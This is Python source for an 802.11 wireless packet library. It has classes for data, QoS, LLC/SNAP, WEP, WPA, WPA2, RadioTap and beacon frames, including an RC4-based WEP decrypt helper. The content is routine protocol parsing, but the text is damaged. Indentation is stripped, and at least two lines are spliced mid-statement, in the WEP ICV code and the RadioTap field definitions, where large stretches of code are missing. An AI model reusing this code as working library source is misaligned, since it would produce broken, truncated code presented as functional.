'Return 802.11 \'Data\' data frame \'QoS\' field'
b = self.header.get_word(22, "<")
return b
def set_QoS(self, value):
'Set the 802.11 \'Data\' data frame \'QoS\' field'
# set the bits
nb = value & 0xFFFF
self.header.set_word(22, nb, "<")
class Dot11DataAddr4Frame(Dot11DataFrame):
'802.11 Data With ToDS From DS Flags (With Addr 4) Frame'
def __init__(self, aBuffer = None):
header_size = 28
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_address4(self):
'Return 802.11 \'Data\' data frame 48 bit \'Address4\' field as a 6 bytes array'
return self.header.get_bytes()[22:28]
def set_address4(self, value):
'Set 802.11 \'Data\' data frame 48 bit \'Address4\' field as a 6 bytes array'
for i in range(0, 6):
self.header.set_byte(22+i, value[i])
class Dot11DataAddr4QoSFrame(Dot11DataAddr4Frame):
'802.11 Data With ToDS From DS Flags (With Addr 4) and QoS Frame'
def __init__(self, aBuffer = None):
header_size = 30
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_QoS(self):
'Return 802.11 \'Data\' data frame \'QoS\' field'
b = self.header.get_word(28, "<")
return b
def set_QoS(self, value):
'Set the 802.11 \'Data\' data frame \'QoS\' field'
# set the bits
nb = value & 0xFFFF
self.header.set_word(28, nb, "<")
class SAPTypes():
NULL = 0x00
LLC_SLMGMT = 0x02
SNA_PATHCTRL = 0x04
IP = 0x06
SNA1 = 0x08
SNA2 = 0x0C
PROWAY_NM_INIT = 0x0E
NETWARE1 = 0x10
OSINL1 = 0x14
TI = 0x18
OSINL2 = 0x20
OSINL3 = 0x34
SNA3 = 0x40
BPDU = 0x42
RS511 = 0x4E
OSINL4 = 0x54
X25 = 0x7E
XNS = 0x80
BACNET = 0x82
NESTAR = 0x86
PROWAY_ASLM = 0x8E
ARP = 0x98
SNAP = 0xAA
HPJD = 0xB4
VINES1 = 0xBA
VINES2 = 0xBC
NETWARE2 = 0xE0
NETBIOS = 0xF0
IBMNM = 0xF4
HPEXT = 0xF8
UB = 0xFA
RPL = 0xFC
OSINL5 = 0xFE
GLOBAL = 0xFF
class LLC(ProtocolPacket):
'802.2 Logical Link Control (LLC) Frame'
DLC_UNNUMBERED_FRAMES = 0x03
def __init__(self, aBuffer = None):
header_size = 3
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_DSAP(self):
"Get the Destination Service Access Point (SAP) from LLC frame"
return self.header.get_byte(0)
def set_DSAP(self, value):
"Set the Destination Service Access Point (SAP) of LLC frame"
self.header.set_byte(0, value)
def get_SSAP(self):
"Get the Source Service Access Point (SAP) from LLC frame"
return self.header.get_byte(1)
def set_SSAP(self, value):
"Set the Source Service Access Point (SAP) of LLC frame"
self.header.set_byte(1, value)
def get_control(self):
"Get the Control field from LLC frame"
return self.header.get_byte(2)
def set_control(self, value):
"Set the Control field of LLC frame"
self.header.set_byte(2, value)
class SNAP(ProtocolPacket):
'802.2 SubNetwork Access Protocol (SNAP) Frame'
def __init__(self, aBuffer = None):
header_size = 5
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_OUI(self):
"Get the three-octet Organizationally Unique Identifier (OUI) SNAP frame"
b=self.header.get_bytes()[0:3].tostring()
#unpack requires a string argument of length 4 and b is 3 bytes long
(oui,)=struct.unpack('!L', '\x00'+b)
return oui
def set_OUI(self, value):
"Set the three-octet Organizationally Unique Identifier (OUI) SNAP frame"
# clear the bits
mask = ((~0xFFFFFF00) & 0xFF)
masked = self.header.get_long(0, ">") & mask
# set the bits
nb = masked | ((value & 0x00FFFFFF) << 8)
self.header.set_long(0, nb)
def get_protoID(self):
"Get the two-octet Protocol Identifier (PID) SNAP field"
return self.header.get_word(3, ">")
def set_protoID(self, value):
"Set the two-octet Protocol Identifier (PID) SNAP field"
self.header.set_word(3, value, ">")
class Dot11WEP(ProtocolPacket):
'802.11 WEP'
def __init__(self, aBuffer = None):
header_size = 4
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def is_WEP(self):
'Return True if it\'s a WEP'
# We already know that it's private.
# Now we must differentiate between WEP and WPA/WPA2
# WPA/WPA2 have the ExtIV (Bit 5) enaled and WEP disabled
b = self.header.get_byte(3)
return not (b & 0x20)
def get_iv(self):
'Return the \'WEP IV\' field'
b=self.header.get_bytes()[0:3].tostring()
#unpack requires a string argument of length 4 and b is 3 bytes long
(iv,)=struct.unpack('!L', '\x00'+b)
return iv
def set_iv(self, value):
'Set the \'WEP IV\' field.'
# clear the bits
mask = ((~0xFFFFFF00) & 0xFF)
masked = self.header.get_long(0, ">") & mask
# set the bits
nb = masked | ((value & 0x00FFFFFF) << 8)
self.header.set_long(0, nb)
def get_keyid(self):
'Return the \'WEP KEY ID\' field'
b = self.header.get_byte(3)
return ((b>>6) & 0x03)
def set_keyid(self, value):
'Set the \'WEP KEY ID\' field'
# clear the bits
mask = (~0xC0) & 0xFF
masked = self.header.get_byte(3) & mask
# set the bits
nb = masked | ((value & 0x03) << 6)
self.header.set_byte(3, nb)
def get_decrypted_data(self, key_string):
'Return \'WEP Data\' field decrypted'
# Needs to be at least 8 bytes of payload
if len(self.body_string)<8:
return self.body_string
# initialize the first bytes of the key from the IV
# and copy rest of the WEP key (the secret part)
# Convert IV to 3 bytes long string
iv=struct.pack('>L',self.get_iv())[-3:]
key=iv+key_string
rc4=RC4(key)
decrypted_data=rc4.decrypt(self.body_string)
return decrypted_data
def get_encrypted_data(self, key_string):
# RC4 is symmetric
return self.get_decrypted_data(key_string)
def encrypt_frame(self, key_string):
enc = self.get_encrypted_data(key_string)
self.load_body(enc)
class Dot11WEPData(ProtocolPacket):
'802.11 WEP Data Part'
def __init__(self, aBuffer = None):
header_size = 0
tail_size = 4
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_icv(self):
"Return 'WEP ICV' field"
b = self.tail.get_long(-4, ">")
return b
def set_icv(self, value = None):
"Set 'WEP ICV' field"
# Compute the WEP ICV
if value is None:
value=self.get_computed_icv()
# set the bits
nb = value & 0xFFFFFFFF
self.tail.set_long(-4, nb)
def get_computed_icv(self):
crcle=crc32(self.body_string)&0xffffffffL
# This crc32 is in little endian, convert it to big endian
crc=struct.pack('>6) & 0x03)
def set_keyid(self, value):
'Set the \'WPA KEY ID\' field'
# clear the bits
mask = (~0xC0) & 0xFF
masked = self.header.get_byte(3) & mask
# set the bits
nb = masked | ((value & 0x03) << 6)
self.header.set_byte(3, nb)
def get_decrypted_data(self):
'Return \'WPA Data\' field decrypted'
# TODO: Replace it with the decoded string
return self.body_string
def get_TSC1(self):
'Return the \'WPA TSC1\' field'
b = self.header.get_byte(0)
return (b & 0xFF)
def set_TSC1(self, value):
'Set the \'WPA TSC1\' field'
# set the bits
nb = (value & 0xFF)
self.header.set_byte(0, nb)
def get_WEPSeed(self):
'Return the \'WPA WEPSeed\' field'
b = self.header.get_byte(1)
return (b & 0xFF)
def set_WEPSeed(self, value):
'Set the \'WPA WEPSeed\' field'
# set the bits
nb = (value & 0xFF)
self.header.set_byte(1, nb)
def get_TSC0(self):
'Return the \'WPA TSC0\' field'
b = self.header.get_byte(2)
return (b & 0xFF)
def set_TSC0(self, value):
'Set the \'WPA TSC0\' field'
# set the bits
nb = (value & 0xFF)
self.header.set_byte(2, nb)
def get_extIV(self):
'Return the \'WPA extID\' field'
b = self.header.get_byte(3)
return ((b>>5) & 0x1)
def set_extIV(self, value):
'Set the \'WPA extID\' field'
# clear the bits
mask = (~0x20) & 0xFF
masked = self.header.get_byte(3) & mask
# set the bits
nb = masked | ((value & 0x01) << 5)
self.header.set_byte(3, nb)
def get_TSC2(self):
'Return the \'WPA TSC2\' field'
b = self.header.get_byte(4)
return (b & 0xFF)
def set_TSC2(self, value):
'Set the \'WPA TSC2\' field'
# set the bits
nb = (value & 0xFF)
self.header.set_byte(4, nb)
def get_TSC3(self):
'Return the \'WPA TSC3\' field'
b = self.header.get_byte(5)
return (b & 0xFF)
def set_TSC3(self, value):
'Set the \'WPA TSC3\' field'
# set the bits
nb = (value & 0xFF)
self.header.set_byte(5, nb)
def get_TSC4(self):
'Return the \'WPA TSC4\' field'
b = self.header.get_byte(6)
return (b & 0xFF)
def set_TSC4(self, value):
'Set the \'WPA TSC4\' field'
# set the bits
nb = (value & 0xFF)
self.header.set_byte(6, nb)
def get_TSC5(self):
'Return the \'WPA TSC5\' field'
b = self.header.get_byte(7)
return (b & 0xFF)
def set_TSC5(self, value):
'Set the \'WPA TSC5\' field'
# set the bits
nb = (value & 0xFF)
self.header.set_byte(7, nb)
class Dot11WPAData(ProtocolPacket):
'802.11 WPA Data Part'
def __init__(self, aBuffer = None):
header_size = 0
tail_size = 12
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_icv(self):
"Return 'WPA ICV' field"
b = self.tail.get_long(-4, ">")
return b
def set_icv(self, value = None):
"Set 'WPA ICV' field"
# calculate the FCS
if value is None:
value=self.compute_checksum(self.body_string)
# set the bits
nb = value & 0xFFFFFFFF
self.tail.set_long(-4, nb)
def get_MIC(self):
'Return the \'WPA2Data MIC\' field'
return self.get_tail_as_string()[:8]
def set_MIC(self, value):
'Set the \'WPA2Data MIC\' field'
#Padding to 8 bytes with 0x00's
value.ljust(8,'\x00')
#Stripping to 8 bytes
value=value[:8]
icv=self.tail.get_buffer_as_string()[-4:]
self.tail.set_bytes_from_string(value+icv)
class Dot11WPA2(ProtocolPacket):
'802.11 WPA2'
def __init__(self, aBuffer = None):
header_size = 8
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def is_WPA2(self):
'Return True if it\'s a WPA2'
# Now we must differentiate between WPA and WPA2
# In WPA WEPSeed is set to (TSC1 | 0x20) & 0x7f.
# In WPA2 WEPSeed=PN1 and TSC1=PN0
b = self.get_PN1() == ((self.get_PN0() | 0x20 ) & 0x7f)
return (not b and self.get_extIV())
def get_extIV(self):
'Return the \'WPA2 extID\' field'
b = self.header.get_byte(3)
return ((b>>5) & 0x1)
def set_extIV(self, value):
'Set the \'WPA2 extID\' field'
# clear the bits
mask = (~0x20) & 0xFF
masked = self.header.get_byte(3) & mask
# set the bits
nb = masked | ((value & 0x01) << 5)
self.header.set_byte(3, nb)
def get_keyid(self):
'Return the \'WPA2 KEY ID\' field'
b = self.header.get_byte(3)
return ((b>>6) & 0x03)
def set_keyid(self, value):
'Set the \'WPA2 KEY ID\' field'
# clear the bits
mask = (~0xC0) & 0xFF
masked = self.header.get_byte(3) & mask
# set the bits
nb = masked | ((value & 0x03) << 6)
self.header.set_byte(3, nb)
def get_decrypted_data(self):
'Return \'WPA2 Data\' field decrypted'
# TODO: Replace it with the decoded string
return self.body_string
def get_PN0(self):
'Return the \'WPA2 PN0\' field'
b = self.header.get_byte(0)
return (b & 0xFF)
def set_PN0(self, value):
'Set the \'WPA2 PN0\' field'
# set the bits
nb = (value & 0xFF)
self.header.set_byte(0, nb)
def get_PN1(self):
'Return the \'WPA2 PN1\' field'
b = self.header.get_byte(1)
return (b & 0xFF)
def set_PN1(self, value):
'Set the \'WPA2 PN1\' field'
# set the bits
nb = (value & 0xFF)
self.header.set_byte(1, nb)
def get_PN2(self):
'Return the \'WPA2 PN2\' field'
b = self.header.get_byte(4)
return (b & 0xFF)
def set_PN2(self, value):
'Set the \'WPA2 PN2\' field'
# set the bits
nb = (value & 0xFF)
self.header.set_byte(4, nb)
def get_PN3(self):
'Return the \'WPA2 PN3\' field'
b = self.header.get_byte(5)
return (b & 0xFF)
def set_PN3(self, value):
'Set the \'WPA2 PN3\' field'
# set the bits
nb = (value & 0xFF)
self.header.set_byte(5, nb)
def get_PN4(self):
'Return the \'WPA2 PN4\' field'
b = self.header.get_byte(6)
return (b & 0xFF)
def set_PN4(self, value):
'Set the \'WPA2 PN4\' field'
# set the bits
nb = (value & 0xFF)
self.header.set_byte(6, nb)
def get_PN5(self):
'Return the \'WPA2 PN5\' field'
b = self.header.get_byte(7)
return (b & 0xFF)
def set_PN5(self, value):
'Set the \'WPA2 PN5\' field'
# set the bits
nb = (value & 0xFF)
self.header.set_byte(7, nb)
class Dot11WPA2Data(ProtocolPacket):
'802.11 WPA2 Data Part'
def __init__(self, aBuffer = None):
header_size = 0
tail_size = 8
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_MIC(self):
'Return the \'WPA2Data MIC\' field'
return self.get_tail_as_string()
def set_MIC(self, value):
'Set the \'WPA2Data MIC\' field'
#Padding to 8 bytes with 0x00's
value.ljust(8,'\x00')
#Stripping to 8 bytes
value=value[:8]
self.tail.set_bytes_from_string(value)
class RadioTap(ProtocolPacket):
__HEADER_BASE_SIZE = 8 # minimal header size
_PRESENT_FLAGS_SIZE = 4
_BASE_PRESENT_FLAGS_OFFSET = 4
class __RadioTapField(object):
ALIGNMENT = 1
def __str__( self ):
return str( self.__class__.__name__ )
class RTF_TSFT(__RadioTapField):
BIT_NUMBER = 0
STRUCTURE = "'))
if len(values)!=num_fields:
raise Exception("Field %s has exactly %d items"%(str(field),struct.calcsize(field.STRUCTURE)))
is_present=self.get_present_bit(field)
if is_present is False:
self.__set_present_bit(field)
byte_pos=self.__get_field_position(field)
header=self.get_header_as_string()
total_length=struct.calcsize(field.STRUCTURE)
v=header[ byte_pos:byte_pos+total_length ]
new_str = struct.pack(field.STRUCTURE, *values)
if is_present is True:
header=header[:byte_pos]+new_str+header[byte_pos+total_length:]
else:
header=header[:byte_pos]+new_str+header[byte_pos:]
self.load_header(header)
def set_tsft( self, nvalue ):
"Set the Value in microseconds of the MAC's 64-bit 802.11 "\
"Time Synchronization Function timer when the first bit of "\
"the MPDU arrived at the MAC"
self.__set_field_values(RadioTap.RTF_TSFT, [nvalue])
def get_tsft( self ):
"Get the Value in microseconds of the MAC's 64-bit 802.11 "\
"Time Synchronization Function timer when the first bit of "\
"the MPDU arrived at the MAC"
values=self.__get_field_values(RadioTap.RTF_TSFT)
if not values:
return None
return values[0]
def set_flags( self, nvalue ):
"Set the properties of transmitted and received frames."
self.__set_field_values(self.RTF_FLAGS, [nvalue])
def get_flags( self ):
"Get the properties of transmitted and received frames."
values=self.__get_field_values(self.RTF_FLAGS)
if not values:
return None
return values[0]
def set_rate( self, nvalue ):
"Set the TX/RX data rate in 500 Kbps units"
self.__set_field_values(self.RTF_RATE, [nvalue])
def get_rate( self ):
"Get the TX/RX data rate in 500 Kbps units"
values=self.__get_field_values(self.RTF_RATE)
if not values:
return None
return values[0]
def set_channel( self, freq, flags ):
"Set the channel Tx/Rx frequency in MHz and the channel flags"
self.__set_field_values(self.RTF_CHANNEL, [freq, flags])
def get_channel( self ):
"Get the TX/RX data rate in 500 Kbps units"
values=self.__get_field_values(self.RTF_CHANNEL)
return values
def set_FHSS( self, hop_set, hop_pattern ):
"Set the hop set and pattern for frequency-hopping radios"
self.__set_field_values(self.RTF_FHSS, [hop_set, hop_pattern])
def get_FHSS( self ):
"Get the hop set and pattern for frequency-hopping radios"
values=self.__get_field_values(self.RTF_FHSS)
return values
def set_dBm_ant_signal( self, signal ):
"Set the RF signal power at the antenna, decibel difference from an "\
"arbitrary, fixed reference."
self.__set_field_values(self.RTF_DBM_ANTSIGNAL, [signal])
def get_dBm_ant_signal( self ):
"Get the RF signal power at the antenna, decibel difference from an "\
"arbitrary, fixed reference."
values=self.__get_field_values(self.RTF_DBM_ANTSIGNAL)
if not values:
return None
return values[0]
def set_dBm_ant_noise( self, signal ):
"Set the RF noise power at the antenna, decibel difference from an "\
"arbitrary, fixed reference."
self.__set_field_values(self.RTF_DBM_ANTNOISE, [signal])
def get_dBm_ant_noise( self ):
"Get the RF noise power at the antenna, decibel difference from an "\
"arbitrary, fixed reference."
values=self.__get_field_values(self.RTF_DBM_ANTNOISE)
if not values:
return None
return values[0]
def set_lock_quality( self, quality ):
"Set the quality of Barker code lock. "\
"Called 'Signal Quality' in datasheets. "
self.__set_field_values(self.RTF_LOCK_QUALITY, [quality])
def get_lock_quality( self ):
"Get the quality of Barker code lock. "\
"Called 'Signal Quality' in datasheets. "
values=self.__get_field_values(self.RTF_LOCK_QUALITY)
if not values:
return None
return values[0]
def set_tx_attenuation( self, power ):
"Set the transmit power expressed as unitless distance from max power "\
"set at factory calibration. 0 is max power."
self.__set_field_values(self.RTF_TX_ATTENUATION, [power])
def get_tx_attenuation( self ):
"Set the transmit power expressed as unitless distance from max power "\
"set at factory calibration. 0 is max power."
values=self.__get_field_values(self.RTF_TX_ATTENUATION)
if not values:
return None
return values[0]
def set_dB_tx_attenuation( self, power ):
"Set the transmit power expressed as decibel distance from max power "\
"set at factory calibration. 0 is max power. "
self.__set_field_values(self.RTF_DB_TX_ATTENUATION, [power])
def get_dB_tx_attenuation( self ):
"Set the transmit power expressed as decibel distance from max power "\
"set at factory calibration. 0 is max power. "
values=self.__get_field_values(self.RTF_DB_TX_ATTENUATION)
if not values:
return None
return values[0]
def set_dBm_tx_power( self, power ):
"Set the transmit power expressed as dBm (decibels from a 1 milliwatt"\
" reference). This is the absolute power level measured at the "\
"antenna port."
self.__set_field_values(self.RTF_DBM_TX_POWER, [power])
def get_dBm_tx_power( self ):
"Get the transmit power expressed as dBm (decibels from a 1 milliwatt"\
" reference). This is the absolute power level measured at the "\
"antenna port."
values=self.__get_field_values(self.RTF_DBM_TX_POWER)
if not values:
return None
return values[0]
def set_antenna( self, antenna_index ):
"Set Rx/Tx antenna index for this packet. "\
"The first antenna is antenna 0. "\
self.__set_field_values(self.RTF_ANTENNA, [antenna_index])
def get_antenna( self ):
"Set Rx/Tx antenna index for this packet. "\
"The first antenna is antenna 0. "\
values=self.__get_field_values(self.RTF_ANTENNA)
if not values:
return None
return values[0]
def set_dB_ant_signal( self, signal ):
"Set the RF signal power at the antenna, decibel difference from an "\
"arbitrary, fixed reference."
self.__set_field_values(self.RTF_DB_ANTSIGNAL, [signal])
def get_dB_ant_signal( self ):
"Get the RF signal power at the antenna, decibel difference from an "\
"arbitrary, fixed reference."
values=self.__get_field_values(self.RTF_DB_ANTSIGNAL)
if not values:
return None
return values[0]
def set_dB_ant_noise( self, signal ):
"Set the RF noise power at the antenna, decibel difference from an "\
"arbitrary, fixed reference."
self.__set_field_values(self.RTF_DB_ANTNOISE, [signal])
def get_dB_ant_noise( self ):
"Get the RF noise power at the antenna, decibel difference from an "\
"arbitrary, fixed reference."
values=self.__get_field_values(self.RTF_DB_ANTNOISE)
if not values:
return None
return values[0]
## def set_rx_flags( self, flags ):
## "Set the properties of received frames."
##
## self.__set_field_values(self.RTF_RX_FLAGS, [flags])
##
## def get_rx_flags( self ):
## "Get the properties of received frames."
##
## values=self.__get_field_values(self.RTF_RX_FLAGS)
## if not values:
## return None
## return values[0]
def set_FCS_in_header( self, fcs ):
"Set the Field containing the FCS of the frame (instead of it being "\
"appended to the frame as it would appear on the air.) "
self.__set_field_values(self.RTF_FCS_IN_HEADER, [fcs])
def get_FCS_in_header( self ):
"Get the Field containing the FCS of the frame (instead of it being "\
"appended to the frame as it would appear on the air.) "
values=self.__get_field_values(self.RTF_FCS_IN_HEADER)
if not values:
return None
return values[0]
## def set_RSSI( self, rssi, max_rssi ):
## "Set the received signal strength and the maximum for the hardware."
##
## self.__set_field_values(self.RTF_RSSI, [rssi, max_rssi])
##
## def get_RSSI( self ):
## "Get the received signal strength and the maximum for the hardware."
##
## values=self.__get_field_values(self.RTF_RSSI)
##
## return values
def set_RTS_retries( self, retries):
"Set the number of RTS retries a transmitted frame used."
self.__set_field_values(self.RTF_RTS_RETRIES, [retries])
def get_RTS_retries( self ):
"Get the number of RTS retries a transmitted frame used."
values=self.__get_field_values(self.RTF_RTS_RETRIES)
if not values:
return None
return values[0]
def set_tx_flags( self, flags ):
"Set the properties of transmitted frames."
self.__set_field_values(self.RTF_TX_FLAGS, [flags])
def get_tx_flags( self ):
"Get the properties of transmitted frames."
values=self.__get_field_values(self.RTF_TX_FLAGS)
if not values:
return None
return values[0]
def set_xchannel( self, flags, freq, channel, maxpower ):
"Set extended channel information: flags, freq, channel and maxpower"
self.__set_field_values(self.RTF_XCHANNEL, [flags, freq, channel, maxpower] )
def get_xchannel( self ):
"Get extended channel information: flags, freq, channel and maxpower"
values=self.__get_field_values(field=self.RTF_XCHANNEL)
return values
def set_data_retries( self, retries ):
"Set the number of data retries a transmitted frame used."
self.__set_field_values(self.RTF_DATA_RETRIES, [retries])
def get_data_retries( self ):
"Get the number of data retries a transmitted frame used."
values=self.__get_field_values(self.RTF_DATA_RETRIES)
if not values:
return None
return values[0]
def set_hardware_queue( self, queue ):
"Set the hardware queue to send the frame on."
self.__set_field_values(self.RTF_HARDWARE_QUEUE, [queue])
## def get_hardware_queue( self ):
## "Get the hardware queue to send the frame on."
##
## values=self.__get_field_values(self.RTF_HARDWARE_QUEUE)
## if not values:
## return None
## return values[0]
def __update_header_length(self):
'Update the RadioTap header length field with the real size'
self.header.set_word(2, self.get_header_size(), "<")
def get_packet(self):
self.__update_header_length()
return ProtocolPacket.get_packet(self)
class Dot11ManagementFrame(ProtocolPacket):
'802.11 Management Frame'
def __init__(self, aBuffer = None):
header_size = 22
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def __init__(self, aBuffer = None):
header_size = 22
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_duration(self):
'Return 802.11 Management frame \'Duration\' field'
b = self.header.get_word(0, "<")
return b
def set_duration(self, value):
'Set the 802.11 Management frame \'Duration\' field'
# set the bits
nb = value & 0xFFFF
self.header.set_word(0, nb, "<")
def get_destination_address(self):
'Return 802.11 Management frame \'Destination Address\' field as a 6 bytes array'
return self.header.get_bytes()[2:8]
def set_destination_address(self, value):
'Set 802.11 Management frame \'Destination Address\' field as a 6 bytes array'
for i in range(0, 6):
self.header.set_byte(2+i, value[i])
def get_source_address(self):
'Return 802.11 Management frame \'Source Address\' field as a 6 bytes array'
return self.header.get_bytes()[8:14]
def set_source_address(self, value):
'Set 802.11 Management frame \'Source Address\' field as a 6 bytes array'
for i in range(0, 6):
self.header.set_byte(8+i, value[i])
def get_bssid(self):
'Return 802.11 Management frame \'BSSID\' field as a 6 bytes array'
return self.header.get_bytes()[14: 20]
def set_bssid(self, value):
'Set 802.11 Management frame \'BSSID\' field as a 6 bytes array'
for i in range(0, 6):
self.header.set_byte(14+i, value[i])
def get_sequence_control(self):
'Return 802.11 Management frame \'Sequence Control\' field'
b = self.header.get_word(20, "<")
return b
def set_sequence_control(self, value):
'Set the 802.11 Management frame \'Sequence Control\' field'
# set the bits
nb = value & 0xFFFF
self.header.set_word(20, nb, "<")
def get_fragment_number(self):
'Return 802.11 Management frame \'Fragment Number\' subfield'
b = self.get_sequence_control()
return (b&0x000F)
def set_fragment_number(self, value):
'Set the 802.11 Management frame \'Fragment Number\' subfield'
# clear the bits
mask = (~0x000F) & 0xFFFF
masked = self.header.get_word(20, "<") & mask
# set the bits
nb = masked | (value & 0x000F)
self.header.set_word(20, nb, "<")
def get_sequence_number(self):
'Return 802.11 Management frame \'Sequence Number\' subfield'
b = self.get_sequence_control()
return ((b>>4) & 0xFFF)
def set_sequence_number(self, value):
'Set the 802.11 Management frame \'Sequence Number\' subfield'
# clear the bits
mask = (~0xFFF0) & 0xFFFF
masked = self.header.get_word(20, "<") & mask
# set the bits
nb = masked | ((value & 0x0FFF ) << 4 )
self.header.set_word(20, nb, "<")
def get_frame_body(self):
'Return 802.11 Management frame \'Frame Body\' field'
return self.get_body_as_string()
def set_frame_body(self, data):
'Set 802.11 Management frame \'Frame Body\' field'
self.load_body(data)
class DOT11_MANAGEMENT_ELEMENTS():
SSID = 0
SUPPORTED_RATES = 1
FH_PARAMETER_SET = 2
DS_PARAMETER_SET = 3
CF_PARAMETER_SET = 4
TIM = 5
IBSS_PARAMETER_SET = 6
COUNTRY = 7
HOPPING_PARAMETER = 8
HOPPING_TABLE = 9
REQUEST = 10
BSS_LOAD = 11
EDCA_PARAMETER_SET = 12
TSPEC = 13
TCLAS = 14
SCHEDULE = 15
CHALLENGE_TEXT = 16
# RESERVED 17-31
POWER_CONSTRAINT = 32
POWER_CAPABILITY = 33
TPC_REQUEST = 34
TPC_REPORT = 35
SUPPORTED_CHANNELS = 36
CHANNEL_SWITCH_ANN = 37
MEASURE_REQ = 38
MEASURE_REP = 39
QUIET = 40
IBSS_DFS = 41
ERP_INFO = 42
TS_DELAY = 43
TCLAS_PROCESSING = 44
#RESERVED 45 # See: IEEE 802.11n
QOS_CAPABILITY = 46
#RESERVED 47 # See: IEEE 802.11g
RSN = 48
#RESERVED 49
EXT_SUPPORTED_RATES = 50
#RESERVED 51-126
EXTENDED_CAPABILITIES = 127
#RESERVED 128-220
VENDOR_SPECIFIC = 221
#RESERVED 222-255
class Dot11ManagementHelper(ProtocolPacket):
def __init__(self, header_size, tail_size, aBuffer = None):
self.__HEADER_BASE_SIZE=header_size
if aBuffer:
elements_length=self.__calculate_elements_length(aBuffer[self.__HEADER_BASE_SIZE:])
header_size+=elements_length
ProtocolPacket.__init__(self, header_size, tail_size)
self.load_packet(aBuffer)
else:
ProtocolPacket.__init__(self, header_size, tail_size)
def _find_element(self, elements, element_id ):
remaining=len(elements)
offset=0
while remaining > 0:
(id,length)=struct.unpack("!BB",elements[offset:offset+2])
if element_id is None:
pass # through the whole list returning the length
elif id==element_id:
yield (0,offset,length+2) # ==
length+=2 #id+length
offset+=length
if length>remaining:
# Error!!
length = remaining;
remaining-=length
# < Not found
yield (-1, offset, None)
def __calculate_elements_length(self, elements):
gen_tp=self._find_element(elements, None )
(match,offset,length)=gen_tp.next()
if match != -1:
# element_id is None, then __find_tagged_parameter must return -1
raise Exception("Internal Error %s"%match)
return offset
def _get_elements_generator(self, element_id):
elements=self.get_header_as_string()[self.__HEADER_BASE_SIZE:]
gen_tp=self._find_element(elements, element_id )
while True:
(match,offset,length)=gen_tp.next()
if match != 0:
return
value_offset=offset+2
value_end=offset+length
value=elements[value_offset:value_end]
yield value
def _get_element(self, element_id):
gen_get_element=self._get_elements_generator(element_id)
try:
s=gen_get_element.next()
if s is None:
raise Exception("gen_get_element salio con None in _get_element!!!")
return s
except StopIteration:
pass
return None
def delete_element(self, element_id, multiple = False):
header=self.get_header_as_string()
elements=header[self.__HEADER_BASE_SIZE:]
gen_tp=self._find_element(elements, element_id )
found=False
while True:
(match,offset,length)=gen_tp.next()
if match != 0:
break
start=self.__HEADER_BASE_SIZE+offset
header=header[:start]+header[start+length:]
found=True
if multiple is False:
break
if not found:
return False
self.load_header(header)
return True
def _set_element(self, element_id, value, replace = True):
parameter=struct.pack('BB%ds'%len(value),element_id,len(value),value)
header=self.get_header_as_string()
elements=header[self.__HEADER_BASE_SIZE:]
gen_tp=self._find_element(elements, element_id )
found=False
while True:
(match,offset,length)=gen_tp.next()
start=self.__HEADER_BASE_SIZE+offset
if match == 0 and replace:
# Replace
header=header[:start]+parameter+header[start+length:]
found=True
break
elif match > 0:
# Add
header=header[:start]+parameter+header[start:]
found=True
break
else:
break
if not found:
# Append (found<0 Not found)
header=header+parameter
self.load_header(header)
class Dot11ManagementBeacon(Dot11ManagementHelper):
'802.11 Management Beacon Frame'
__HEADER_BASE_SIZE = 12 # minimal header size
def __init__(self, aBuffer = None):
header_size = self.__HEADER_BASE_SIZE
tail_size = 0
Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)
def get_timestamp(self):
'Return the 802.11 Management Beacon frame \'Timestamp\' field'
b = self.header.get_long_long(0, "<")
return b
def set_timestamp(self, value):
'Set the 802.11 Management Beacon frame \'Timestamp\' field'
# set the bits
nb = value & 0xFFFFFFFFFFFFFFFF
self.header.set_long_long(0, nb, "<")
def get_beacon_interval(self):
'Return the 802.11 Management Beacon frame \'Beacon Inteval\' field' \
'To convert it to seconds => secs = Beacon_Interval*1024/1000000'
b = self.header.get_word(8, "<")
return b
def set_beacon_interval(self, value):
'Set the 802.11 Management Beacon frame \'Beacon Inteval\' field'
# set the bits
nb = value & 0xFFFF
self.header.set_word(8, nb, "<")
def get_capabilities(self):
'Return the 802.11 Management Beacon frame \'Capability information\' field. '
b = self.header.get_word(10, "<")
return b
def set_capabilities(self, value):
'Set the 802.11 Management Beacon frame \'Capability Information\' field'
# set the bits
nb = value & 0xFFFF
self.header.set_word(10, nb, "<")
def get_ssid(self):
"Get the 802.11 Management SSID element. "\
"The SSID element indicates the identity of an ESS or IBSS."
return self._get_element(DOT11_MANAGEMENT_ELEMENTS.SSID)
def set_ssid(self, ssid):
self._set_element(DOT11_MANAGEMENT_ELEMENTS.SSID,ssid)
def get_supported_rates(self, human_readable=False):
"Get the 802.11 Management Supported Rates element. "\
"Specifies up to eight rates, then an Extended Supported Rate element "\
"shall be generated to specify the remaining supported rates."\
"If human_readable is True, the rates are returned in Mbit/sec"
s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)
if s is None:
return None
rates=struct.unpack('%dB'%len(s),s)
if not human_readable:
return rates
rates_Mbs=tuple(map(lambda x: (x&0x7F)*0.5,rates))
return rates_Mbs
def set_supported_rates(self, rates):
"Set the 802.11 Management Supported Rates element. "\
"Specifies a tuple or list with up to eight rates, then an "\
"Extended Supported Rate element shall be generated to specify "\
"the remaining supported rates."
qty_rates=len(rates)
if qty_rates>8:
raise Exception("requires up to eight rates")
